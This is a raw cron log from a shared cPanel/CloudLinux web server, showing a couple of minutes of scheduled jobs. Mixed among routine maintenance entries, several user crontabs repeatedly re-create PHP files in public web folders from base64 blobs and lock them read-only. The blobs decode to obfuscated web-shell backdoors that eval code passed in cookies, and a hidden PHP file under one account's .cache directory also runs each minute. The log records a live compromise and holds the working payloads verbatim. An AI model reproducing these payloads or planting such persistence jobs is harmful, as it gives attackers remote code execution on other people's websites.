Mar  1 16:30:01 medusa CROND[32190]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 16:30:01 medusa CROND[32191]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:30:01 medusa CROND[32197]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:30:01 medusa CROND[32200]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 16:30:01 medusa CROND[32198]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 16:30:01 medusa CROND[32199]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 16:30:01 medusa CROND[32201]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:30:01 medusa CROND[32203]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 16:30:01 medusa CROND[32210]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 16:30:01 medusa CROND[32212]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  1 16:30:01 medusa CROND[32216]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 16:30:01 medusa CROND[32217]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:30:01 medusa CROND[32219]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:30:01 medusa CROND[32194]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 16:30:01 medusa CROND[32196]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 16:30:01 medusa CROND[32222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:30:01 medusa CROND[32225]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:30:01 medusa CROND[32227]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 16:30:01 medusa CROND[32228]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:30:01 medusa CROND[32229]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:30:01 medusa CROND[32230]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:30:01 medusa CROND[32215]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 16:30:01 medusa CROND[32241]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 16:30:01 medusa CROND[32205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:30:01 medusa CROND[32246]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Mar  1 16:30:01 medusa CROND[32247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 16:30:03 medusa crontab[425]: (wmondolo) LIST (wmondolo)
Mar  1 16:30:12 medusa crontab[4972]: (wmondolo) LIST (wmondolo)
Mar  1 16:31:01 medusa CROND[22151]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 16:31:01 medusa crontab[22160]: (wmondolo) LIST (wmondolo)
Mar  1 16:31:01 medusa CROND[22191]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:31:01 medusa CROND[22193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:31:01 medusa CROND[22194]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:31:01 medusa CROND[22195]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:31:01 medusa CROND[22192]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 16:31:01 medusa CROND[22197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:31:01 medusa CROND[22198]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:31:01 medusa CROND[22202]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:31:01 medusa CROND[22205]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:31:01 medusa CROND[22206]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:31:01 medusa CROND[22207]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:31:01 medusa CROND[22209]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:31:02 medusa crontab[22529]: (wmondolo) REPLACE (wmondolo)
Mar  1 16:31:03 medusa crontab[22970]: (wmondolo) LIST (wmondolo)
Mar  1 16:32:02 medusa crond[30932]: (nespencapital) ORPHAN (no passwd entry)
Mar  1 16:32:02 medusa crond[30932]: (ideastodoterreno) WRONG FILE OWNER (/var/spool/cron/ideastodoterreno)
Mar  1 16:32:02 medusa crond[30932]: (alejandrosignore) ORPHAN (no passwd entry)
Mar  1 16:32:02 medusa crond[30932]: (finapro) ORPHAN (no passwd entry)
Mar  1 16:32:02 medusa crond[30932]: (notisyhech) ORPHAN (no passwd entry)
Mar  1 16:32:02 medusa crond[30932]: (spiga) ORPHAN (no passwd entry)
Mar  1 16:32:02 medusa crond[30932]: (camozzi) ORPHAN (no passwd entry)
Mar  1 16:32:02 medusa crond[30932]: (ipactos) ORPHAN (no passwd entry)
Mar  1 16:32:02 medusa crond[30932]: (wmondolo) RELOAD (/var/spool/cron/wmondolo)
Mar  1 16:32:02 medusa crond[30932]: (flavia) ORPHAN (no passwd entry)
Mar  1 16:32:02 medusa crond[30932]: (estudiorillo) ORPHAN (no passwd entry)
Mar  1 16:32:02 medusa crond[30932]: (tecnocom) ORPHAN (no passwd entry)
Mar  1 16:32:02 medusa crond[30932]: (medinaruben) ORPHAN (no passwd entry)
Mar  1 16:32:02 medusa CROND[11474]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 16:32:02 medusa CROND[11548]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
